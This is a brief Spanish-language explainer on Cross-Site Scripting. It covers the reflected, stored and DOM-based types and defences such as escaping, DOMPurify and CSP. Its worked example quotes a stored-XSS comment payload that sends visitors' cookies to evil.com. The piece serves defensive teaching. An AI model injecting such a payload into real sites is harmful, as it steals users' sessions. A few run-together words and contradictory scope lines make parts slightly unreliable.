concepto · intermedio · 2 min de lectura
XSS — Cross-Site Scripting
XSS permite a un atacante inyectar scripts maliciosos en páginas web vistas por otros usuarios, robando sesiones, datos o redirigiendo a sitios falsos.
No requiere conocimientos previos.
Alcance en breve
Cubre
- XSS as a concept
No cubre
- implementation details
Supone
- The reader understands relevant fundamentals.
Resumen
Cross-Site Scripting (XSS) ocurre cuando una aplicación web incluye datos no confiables en una página sin validarlos o escaparlos adecuadamente. Un atacante inyecta JavaScript malicioso —usualmente a través de un formulario o parámetro URL— que se ejecuta en el navegador de la víctima.
Los tres tipos: Reflected (el script viene en el request y se ejecuta inmediatamente), Stored (el script se guarda en la base de datos y se ejecuta cada vez que alguien ve el contenido), y DOM-based (el script manipula el DOM sin pasar por el servidor). La defensa principal es escapar output: nunca insertar datos de usuario en HTML sin sanitización.
Alcance y supuestos
Cubre XSS, sus tipos y defensas. Asume familiaridad con desarrollo web.
Modelo mental
Alguien pega un papel falso en una cartelera pública. El papel parece oficial pero tiene instrucciones maliciosas. XSS es pegar JavaScript falso en una página web que otros usuarios van a ver.
Uso práctico
- ❌ Nunca usar
innerHTMLcon datos de usuario. Escapar siempre contextContento librerías como DOMPurify. - ✅ Content Security Policy (CSP) como defensa en profundidad.
Ejemplo trabajado: XSS stored en un comentario
Un atacante publica un comentario: Que buen post! <script>fetch('https://evil.com/steal?c='+document.cookie)</script>. Cada visitante que carga la página ejecuta el script y envía sus cookies al atacante. Con CSP y sanitización de HTML, el script nunca se ejecuta.
Evidencia
- OWASP mantiene una guía completa de prevención de XSS. Es el riesgo de seguridad más común en aplicaciones web.
Fuentes citadas
- Wikipedia, OWASP (Síntesis, 21-07-2026)